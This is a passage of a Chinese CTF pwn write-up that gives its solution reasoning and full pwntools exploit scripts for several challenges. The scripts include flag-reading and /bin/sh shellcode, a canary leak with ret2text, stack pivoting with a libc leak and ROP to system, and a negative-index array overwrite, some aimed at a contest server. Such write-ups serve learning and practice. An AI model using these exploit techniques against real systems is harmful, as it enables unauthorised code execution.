ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./orz")
shellcode = '''
push 0x67616c66
mov rsi,rsp
xor rdx,rdx
mov rdi,0xffffff9c
push 257
pop rax
syscall

mov rsi,3; #in_fd
mov r10,50; #n_bytes
xor rdx,rdx;
mov rdi,rdx;
inc rdi; #out_fd
mov eax,40; #sendfile的系统调用号
syscall;

mov rdi,0;
mov rax,60; #exit
syscall
'''

payload = asm(shellcode)
s(payload)
ia()

批注:以下是对shellcode的详细理解

打开文件(openat 系统调用)
1
2
3
4
5
6
7
push 0x67616c66        ; 将字符串 "flag"(小端字节序)压栈
mov rsi, rsp ; rsi 指向文件名 "flag"
xor rdx, rdx ; rdx = 0,即 O_RDONLY
mov rdi, 0xffffff9c ; rdi = -100,对应 AT_FDCWD(当前工作目录)
push 257
pop rax ; rax = 257,对应 openat 的 syscall 编号
syscall

等价于

1
int fd = openat(AT_FDCWD, "flag", O_RDONLY);

打开后,返回的文件描述符存放在 rax 中,默认是 3(因为前两个 0、1、2 是 stdin、stdout、stderr)。

使用 sendfile 输出文件内容到 stdout(fd = 1)
1
2
3
4
5
6
7
mov rsi, 3             ; rsi = in_fd(flag 文件的 fd)
mov r10, 50 ; r10 = count(最多读 50 字节)
xor rdx, rdx ; rdx = *offset(为 NULL)
mov rdi, rdx ; rdi = 0
inc rdi ; rdi = 1(即 stdout)
mov eax, 40 ; eax = 40(sendfile 的 syscall 编号)
syscall

使用 sendfile 系统调用将最多 50 字节从 fd=3(flag)发送到 fd=1(stdout),等价于:

1
sendfile(1, 3, NULL, 50);

其中 r10 在 syscall 中会被视为第四参数 count,符合 x86_64 调用约定(第四个参数传入 r10

退出程序(exit 系统调用)
1
2
3
mov rdi, 0             ; 退出码 0
mov rax, 60 ; exit 的 syscall 编号
syscall

正常退出程序:

1
_exit(0);

shellcode_level0

解题思路

简单的shellcode,输入进去就好了,可以使用 shellcraft.sh() 自动生成

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = process("./0")
io = remote("gz.imxbt.cn", 20110)
#pad = asm(shellcraft.sh())
shellcode = """
xor rsi,rsi
push rsi
mov rdx,rsp
mov rdi,0x68732f2f6e69622f
push rdi
mov rdi,rsp
mov rax,59
syscall
"""
pad = asm(shellcode)
io.sendline(pad)
io.interactive()

shellcode_level1

解题思路

题目要求只能输入两个字节,但用gdb调试到 call rax时,会发现所有的寄存器似乎已经被布置好了

1
2
3
4
RAX = 0      -> syscall number: read
RDI = 0 -> fd: stdin
RSI = buf -> your mmap buf
RDX = 0x500 -> size

这不就是:(0 是 read函数的系统调用号)

1
read(0, buf, 0x500)

所以这里就差 syscall(syscall 是 机器码\x0f\x05,这刚好两字节)

输入 \x0f\x05完成对read_sys的调用后,就可以打 shellcode了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
io = process("./attachment")
#io = remote("gz.imxbt.cn", 20114)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()
pad = '''
syscall
'''
#debug()
s(asm(pad))
shellcode = """
xor rdx,rdx
push rdx
mov rsi,rdx
mov rax,0x68732f2f6e69622f
push rax
mov rdi,rsp
mov rax,59
syscall
"""
payload = b'\x90\x90' + asm(shellcode)
s(payload)
ia()

批注:

这里的 payload 之所以要加上 两字节的空字节\x90,是因为第一次read在buf读入了\x0f\x05,然后call rcx时,rsp指针已经指向了buf+2的位置,但read_sys依旧是从buf开始读入的,所以需要两个空字节占位,否则就会卡在 0x776ac0302002这里报段错误

你为什么不让我溢出

解题思路

题目存在后门函数getshell(),开启了Canary保护并且允许两次栈溢出,第一次覆盖Canary的最低一个字节使puts()打印出Canary,第二次就可以直接ret2text了

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./vuln")
io = remote("gz.imxbt.cn", 20120)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./vuln")
shell = 0x4011BE
payload = b'a'*(0x69)
rl()
#debug()
s(payload)
r(0x69)
canary = u64(r(7).rjust(8, b'\x00'))
ls(hex(canary))
pad = b'\x00'*(0x68) + p64(canary) + b'a'*8 + p64(shell)
s(pad)
ia()

stack_in_stack

解题思路

一般题目只让我们溢出return返回地址的时候,就是需要栈迁移了,题目已经打印出栈上buf的地址,我们就可以迁移到栈上,而且题目里bss段太短了,且都已有数据,覆盖了可能会报错。题目中sub_4011C6会打印出puts()函数的地址,可以得到libc_base,后续注意栈对齐就好了。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#io = process("./attachment")
io = remote("gz.imxbt.cn", 20194)
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(data)
p = lambda :pause()
def debug():
gdb.attach(io)
pause()

elf = ELF("./attachment")
libc = ELF("libc.so.6")
puts = 0x4011DD
main = 0x40124A
ret = 0x40101a
leave_ret = 0x4012f2
ru(b'0x')
rbp = int(r(14), 16)
ls(hex(rbp))
pad = p64(0) + p64(puts) + p64(0) + p64(main) + p64(0)*2 + p64(rbp) + p64(leave_ret)
#debug()
s(pad)
ru(b'0x')
puts_addr = int(r(12), 16)
libc_base = puts_addr - libc.sym['puts']
ls(hex(libc_base))
system = libc.sym['system'] + libc_base
pop_rdi = 0x2a3e5 + libc_base
bin_sh = next(libc.search(b"/bin/sh\x00")) + libc_base
ru(b'0x')
rbp = int(r(14), 16)
ls(hex(rbp))

payload = p64(0) + p64(pop_rdi + 1) + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(0) + p64(rbp) + p64(leave_ret)
s(payload)
ia()
批注:

第一次得到的buf地址会比第二次得到的buf地址高出 0x10个字节,所以要重新接收

five

解题思路

五子棋游戏的胜出不难,要求在两步以内胜出,正常是不可能的,但题目是怎么检查的:五子棋判断某个位置是否连成五个相同的棋子,是按8个方向检测的:

  • 方向向量数组,比如:

    1
    2
    dx = { 0, 0, 1, -1, 1, -1, 1, -1 };
    dy = { 1,-1, 0, 0, 1, -1,-1, 1 };
  • 比如方向 (0,1) 表示“竖直向上”检查:

    从当前坐标 (x, y),依次检查 (x + 0*0, y + 1*0), (x + 0*1, y + 1*1), (x + 0*2, y + 1*2), … 共5个格子。

这会检查一个方向上连续的五个棋子是否都为 0

并且输入位置的时候允许负数输入,这就会导致前溢出,在4020,4040处放的是向8个方向遍历

题目会将我们输入的数组位置赋值为 0 ,我们将一个方向数组的位置输入,它就会存在(0,0),也就自己检查自己是否等于0,连续检查5次。我们修改后,题目就会检查棋盘上的每一个位子,如果先检查到我们的棋子,就会判定胜利,如果先检查到Computer的棋子,就会判定为失败。

EXP

1
2
3
4
5
6
7
rom pwn import *
context(os="linux", arch="amd64", log_level="debug")
#io = remote("gz.imxbt.cn", 20209)
io = process("./pwn")
io.sendline(b"0 0")
io.sendline(b"0 -5965")
io.interactive()